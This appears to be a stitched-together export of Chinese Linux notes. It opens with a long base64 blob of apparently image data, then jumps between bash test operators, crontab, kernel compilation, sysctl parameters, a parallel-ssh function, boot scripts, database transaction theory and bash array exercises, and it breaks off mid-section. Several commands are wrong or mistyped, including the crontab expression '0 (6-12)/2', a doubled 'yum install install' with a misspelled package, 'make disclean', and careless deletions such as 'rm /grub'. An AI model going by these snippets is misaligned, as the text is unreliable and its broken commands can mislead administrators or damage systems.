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Hes0cxAS4kBIAAPOGOevrTnkkppWsvvEs7jF9X9xzfg++EXiea7jGnrHZq6Ez6rEue3IAJHXPNeoeH9YTV1uDGICsLKpeC4EqMSMkBgB0yK5uG3vpLV9Os47kxSL52yOCDykDOSv3mDEnb79Rmug8OPdTG4e6muzJFJ5RSYRjHCnOEyO/rXu4XDQw9NU4dDwsTiZ4io6kzYooorcwCiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAEZVdSrKGUjBBGQajtrW2tVK21vDAGOSI0C5/KiigBlvY2luG8i3jj3DaSBzjJOPzJoWytFgSBbeMRpH5ajH3VxjAPYUUUAUD4a0M5zp8fPX5m/xqa10TS7Vna2tREzqUYqxyQeveiigBbzRtNu5/PuLYSOFCD5iAAOgwD71YsLK1sITDaQrEhYsQO5PeiigCxRRRQB//2Q==
!02.存在性及类别测试
:<div>

|!参数|!desc|
|-b  |是否存在且为块设备文件  |
|-c  |是否存在且为字符设备文件|
|-d |是否存在且为目录文件      |
|-f  |是否存在且为普通文件      |
|-h |存在且为符号链接文件      |
|-L |存在且为符号链接文件      |
|-p |是否存在且为命名管道文件|
|-S |是否存在且为套接字文件   |
|-n |变量非空|
|-z |变量为空|
|-v|变量是否被定义|
</div>

! 03. 数值测试
:<div>

|!参数|!说明|
|-eq	|等于        |
|-ne	|不等于     |
|-gt	|大于        |
|-ge	|大于等于  |
|-lt	|小于        |
|-le	|小于等于  |
</div>

!04.  示例
:<div>

```bash
# 测试变量是否被定义
# 不使用$符号
unset var;  [ -v var ]          && echo true || echo false
false
var=11   ;  [ -v var ]          && echo true || echo false
true

#测试变量是否为空
var=''   ;  [ -z $var ]         && echo true || echo false
true
var='11' ;  [ -z $var ]         && echo true || echo false
false

# 测试变量是否非空
# 变量要加引号
var=''   ;  [ -n "$var" ]       && echo true || echo false
true

# 字符串相等
# 变量要加引号
# 使用==
var='ss' ;  [ "$var" == '' ]    && echo true || echo false
false
var=''   ;  [ "$var" == '' ]    && echo true || echo false
true
# 使用=
var=''   ;  [ "$var" = '' ]     && echo true || echo false
true
var='ss' ;  [ "$var" = '' ]     && echo true || echo false
false
```
</div>
```bash
#crontab定时:在11月份内,每天的早上6点到12点中,每隔2小时执行一次/usr/bin/httpd.sh  怎么实现
# crontab –e

0 (6-12)/2 * 11 * /usr/bin/httpd.sh


```
<div class="TODO">

    <<toc-selective-expandable '每日小技巧'>>
```bash
#来源于 马哥教育
```
</div>
* 手动编译内核
:<div>

```bash
# 编译内核
# www.kernel.org
# uname -r

# 01.下载内核文件
wget https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.19.1.tar.xz
tar -xvf linux-4.19.1.tar.xz
# 02.以当前内核作为模板编译新文件
cp /boot/config-<version> ./linux-4.19.1/.config
# 安装编译工具
yum groupinstall "development tools" -y
# 安装依赖
yum install ncurses-devel -y
yum install install elfutils-libelf-deve -y
yum install openssl-devel -y
# 配置编译选项
#<M> MODEL方式
#<*> 集成在内核中
#local_version 注释
make menuconfig
# 编译
make -j 4
make modules_install
make install

#编译指定库
cd <dir>
make <file_path>
# /lib/modules/<内核版本>/不常用的内核文件
#交叉编译
make ARCH=arch_name
make ARCH=arm
#清理
make clean
make mrproper
make disclean
# 删除
rm /boot/kernel                        #删除kernel文件
rm /lib/modules/kernel             #删除mod
rm /grub                                   #清除grub启动项
make clean                              #清理编译环境
```
</div>
* 参数
:<div>

```bash
# 相关参数
# icmp_echo_ignore_all
# ip_forword
# kernel.shmmax 共享内存
# http性能相关
tcp_syn_retries     # sync重试次数
tcp_fin_timeout     # 分手超时时间
tcp_syncookies      # 缓存
tcp_max_tw_buckets  # timeout 窗口
tcp_max_syn_backlog # 并发队列
ip_local_port_range # 向外链接的端口数量
vm_drop_caches      # 删除缓存
```
</div>

* 目录及文件
:<div>

```bash
/proc 目录
/proc/sys/
#内核参数文件
/etc/sysctl.conf
# 内核参数及时生效
```
</div>
!示例
:<div>

```bash
#Shell 黑科技之匿名函数实现任务并行化
#https://my.oschina.net/leejun2005/blog/917455
zzcmd(){
    start_time=`date +%s`
    c=0
    [[ $1 == "" || $2 == "" ]] && cmd_usage && return
    ips="`echo \"$1\"|grep -Po '((\d{1,3}.){3}\d{1,3})'`"
    [[ $ips == "" ]] && ips="$(eval echo \"\$$1\")"
    [[ $ips == "" ]] && ips="`cat $1`"
    set +m
    nanoseconds=`date +%N`
    for ip in $ips
    do
        [[ $ip == "" || $ip == " " || ! $ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]] && redEcho "$ip ip invalid..." && continue
        { timeout 15 ssh work@$ip "echo -e \"\e[41;37;1m ------------------- ${ip} -------------------\e[0m\n\";$2; exit" > ${nanoseconds}_$ip & } 2>/dev/null
        ((c++))
    done
    wait
    cat ${nanoseconds}_*
    rm -f ${nanoseconds}_*
    set -m
    end_time=`date +%s`
    cost_time=$(($end_time-$start_time))
    #cost_time_pretty=`date -d@$cost_time +%M"min"%S`
    greenEcho "******************* 本次执行 $c 台机器,耗时 ${cost_time}s *******************"
}
```
</div>


!总结 
:<div>


# {} 是匿名函数,创建了子 shell 来执行命令
# () 是在当前shell下创建了子进程来执行命令
# set +m 关闭后台任务控制信息显示

</div>
* lvm启动破坏实验
:<div>

```bash
#启动脚本
#自动启动网络
vim /sbin/init
/bin/bash
insmod /lib/e1000.ko
ifconfig eth0 192.168.20.16/24
#---------------------
# lvm 破坏boot文件
# 救援模式看不到逻辑卷
#---------------------
lvscan
vgchange -ay
lvdisplay
mount  lvm mp
#---------------------
```
</div>


* 命名规则
:<div>

```bash
# 设备名称
/etc/udev/rules.d/
```
</div>
!!设置脚本开机启动:

; 测试脚本
:<div>

```bash
shell> vim /server/scripts/start.sh
#!/bin/bash
/bin/echo $(/bin/date +%F_%T) >> /tmp/start.log
```
</div>
;方法一:修改/etc/rc.local文件,设置开机启动
:<div>

```
shell> vim /etc/rc.local 

/bin/bash /server/scripts/start.sh >/dev/null 2>/dev/null
```
</div>
;方法二:chkconfig管理,开机启动
:<div>

```bash
#新建服务脚本
shell> vim /etc/init.d/my_service 

#!/bin/bash
# chkconfig: 3 88 88
/bin/bash /server/scripts/start.sh >/dev/null 2>/dev/null


#添加到chkconfig,开机自启动 

shell> chkconfig --add my_service
shell> chkconfig --list my_service
my_service           	0:off	1:off	2:off	3:on	4:off	5:off	6:off
```
</div>
!!描述
:<div>

* mtime 
    **内容修改时间
* ctime   
    **meta data changetime
    ** meta tata
      *** 文件名
      *** mod
      *** owner
      *** group
      *** nodeinfo
* atime
    ** access time,访问文件内容
* relatime
    ** now - atime  > 1day  ,  update atime
    ** mtime - atime >= 0   ,  update atime
    ** 不更新文件的atime ?
</div>

```bash
ll --ctime
```
<div class="实验">

    <<toc-selective-expandable '实验'>>

</div>
;事务的具体定义
:事务提供一种机制将一个活动涉及的所有操作纳入到一个不可分割的执行单元,组成事务的所有操作只有在所有操作均能正常执行的情况下方能提交,只要其中任一操作执行失败,都将导致整个事务的回滚。简单地说,事务提供一种“要么什么都不做,要么做全套(All or Nothing)”机制。

!!数据库本地事务

:<div>

数据库事务中的四大特性,`ACID`:

*A:原子性(Atomicity)
**一个事务(transaction)中的所有操作,要么全部完成,要么全部不完成,不会结束在中间某个环节。事务在执行过程中发生错误,会被回滚(Rollback)到事务开始前的状态,就像这个事务从来没有执行过一样。

**就像你买东西要么交钱收货一起都执行,要么要是发不出货,就退钱。

*C:一致性(Consistency)
**事务的一致性指的是在一个事务执行之前和执行之后数据库都必须处于一致性状态。如果事务成功地完成,那么系统中所有变化将正确地应用,系统处于有效状态。如果在事务中出现错误,那么系统中的所有变化将自动地回滚,系统返回到原始状态。

*I:隔离性(Isolation)
**指的是在并发环境中,当不同的事务同时操纵相同的数据时,每个事务都有各自的完整数据空间。由并发事务所做的修改必须与任何其他并发事务所做的修改隔离。事务查看数据更新时,数据所处的状态要么是另一事务修改它之前的状态,要么是另一事务修改它之后的状态,事务不会查看到中间状态的数据。

**打个比方,你买东西这个事情,是不影响其他人的。

*D:持久性(Durability)
**指的是只要事务成功结束,它对数据库所做的更新就必须永久保存下来。即使发生系统崩溃,重新启动数据库系统后,数据库还能恢复到事务成功结束时的状态。

**打个比方,你买东西的时候需要记录在账本上,即使老板忘记了那也有据可查。
</div>

!!InnoDB实现原理

:<div>

* 本地事务由资源管理器进行管理:
* 事务的ACID是通过InnoDB日志和锁来保证。
** 事务的隔离性是通过数据库锁的机制实现的,
** 持久性通过redo log(重做日志)来实现,
** 原子性和一致性通过Undo log来实现。
* UndoLog
** 为了满足事务的原子性,在操作任何数据之前,首先将数据备份到一个地方(这个存储数据备份的地方称为UndoLog)。然后进行数据的修改。
**如果出现了错误或者用户执行了ROLLBACK语句,系统可以利用Undo Log中的备份将数据恢复到事务开始之前的状态。 
* RedoLog 
** RedoLog记录的是新数据的备份。在事务提交前,只要将RedoLog持久化即可,不需要将数据持久化。
** 当系统崩溃时,虽然数据没有持久化,但是RedoLog已经持久化。系统可以根据RedoLog的内容,将所有数据恢复到最新的状态。
</div>

<<<
关联数组的顺序
<<<


```bash
declare -A num_array
declare -A num_array2

function init_array(){
    for ((j=0;j<3;j++));do
      for ((k=0;k<3;k++));do
        num_array[${j}${k}]=$[$RANDOM%10]
      done
    done
}

function init_array2(){
    num_array=([00]=1 [01]=2 [02]=3 [10]=4 [11]=5 [12]=6 [20]=7 [21]=8 [22]=9)
}


function matrix(){
  for ((j=0;j<3;j++));do
    for ((k=0;k<3;k++));do
      num_array2[${j}${k}]=${num_array[${k}${j}]}
    done
  done
}

function print_array(){
  for ((i=0;i<3;i++));do
    for ((j=0;j<3;j++));do
      echo -e "${num_array[${i}${j}]} \c"
    done
    echo
  done
}

function print_array2(){
  for ((i=0;i<3;i++));do
    for ((j=0;j<3;j++));do
      echo -e "${num_array2[${i}${j}]} \c"
    done
    echo
  done
}

function pa(){
    a=($1)
    b=($2)
    declare -A c

    for ((i=0;i<${#a[*]};i++));do
        index=${a[$i]}
        value=${b[$i]}
        c[$index]=$value
    done
    for ((i=0;i<3;i++));do
        for ((j=0;j<3;j++));do
            echo -e "${c[${i}${j}]} \c"
        done
        echo
    done
}
function main(){
    init_array
    #init_array2
    print_array
    echo "------"
    matrix
    print_array2
    echo "------"

    pa "${!num_array2[*]}" "${num_array2[*]}"
    echo "------"

}
for i in `seq 10`;do
    main
done
                                                                                  
```
```bash
### 冒泡排序

declare -a num_array

function init_array(){
  for ((i=0;i<10;i++));do
    let num_array[$[i]]=$RANDOM%10
  done
  echo ${num_array[*]}
}

function sort_array(){
  lenght=${#num_array[*]}
  for ((i=0;i<lenght;i++));do
    for ((j=i+1;j<lenght;j++));do
      if ((${num_array[$i]} > ${num_array[$j]}));then
        tmp=${num_array[$i]}
        num_array[$i]=${num_array[$j]}
        num_array[$j]=${tmp}
      fi
      #echo $i,$j:${num_array[*]}
    done
  done
  echo ${num_array[@]}
}

function sort2_array(){
  lenght=${#num_array[*]}
  for ((i=0;i<lenght;i++));do
    for ((j=0;j<=lenght-i;j++));do
      if (( num_array[$j] > num_array[ $[j+1] ] ));then
        tmp=${num_array[$j]}
        num_array[$j]=${num_array[$[j+1]]}
        num_array[$[j+1]]=${tmp}
      fi
      #echo $i,$j:${num_array[*]}
    done
  done
  echo ${num_array[@]}
}

function s2() {
  init_array
  sort_array
  unset num_array
  echo "------"
  init_array
  sort2_array
  unset num_array
}
```
{{bash_head}}

```bash
#杨辉三角
function yanghui() {
  let max=$1+1
  unset a
  declare -A a
  for ((i=0;i<max;i++));do
    for ((j=0;j<i;j++));do
      if ((i==0 || j==0 || j==i ));then
        a[$i$j]=1
        continue
      fi
      let a[$i$j]=${a[$[$i-1]$j]}+${a[$[$i-1]$[$j-1]]}
    done
  done
# print
  for ((i=0;i<max;i++));do
    for ((j=0;j<i;j++));do
      echo -ne "${a[$i$j]} "
    done
    echo
  done
}
```
```bash
declare -a na

function init_array(){
  max=20
  for ((j1=0;j1<max;j1++));do
      na[${j1}]=$[$RANDOM%100]
  done
}

function print_array(){
  len=${#na[*]}
  for ((i1=0;i1<len;i1++));do
    echo -e "${na[${i1}]} \c"
  done
  echo
}
function sw(){
  let ii=$1
  let jj=$2
  tmp=${na[$ii]}
  let na[${ii}]=${na[$jj]}
  let na[${jj}]=$tmp
  #sleep 1

}

function zhr(){
  len=${#na[*]}
  for ((i=0;i<len;i++));do
    if (( i==0 || na[$i] >= na[$i-1] ));then
      continue
    else
      sw $i $i-1
      let i=$i-2
    fi
  done
  echo ${na[*]}
}


function main(){
    echo "******"
    init_array
    print_array
    zhr
    echo "------"
}
```
;01. 内部变量
:<pre>

 ```bash
 #random 范围(0-32767)
 let a=$RANDOM %${range}+1 # 无空格
```
</pre>
;02. awk

:<pre>

```bash
 awk 'BEGIN{srand();print rand()*1000000}'    #可以加上if判断,779644
```
</pre>

; 03. date
:<pre>

```bash
date +%s%N       #生成19位数字,1287764807051101270

date +%s%N | cut -c6-13   #取八位数字,21793709

date +%s%N | md5sum | head -c 8   #八位字母和数字的组合,87022fda

```
</pre>
;03. 系统设备(/dev/random及/dev/urandom)
:<pre>

```bash
/dev/random存储系统当前运行的环境的实时数据,可以看作系统某时候的唯一值数据,提供优质随机数。

/dev/urandom是非阻塞的随机数产生器,读取时不会产生阻塞,速度更快、安全性较差的随机数发生器。

cat /dev/urandom | head -n 10 | md5sum | head -c 10     #32f1e953ac

cat /dev/urandom | strings -n 8 | head -n 1      #生成全字符的随机字符串,08?WU$ZU

cat /dev/urandom | sed -e 's/[^a-zA-Z0-9]//g' | strings -n 8 | head -n 1   #生成数字加字母的随机字符串,Ql2q9CXS

```
</pre>
;04. system uuid

:<pre>

```bash
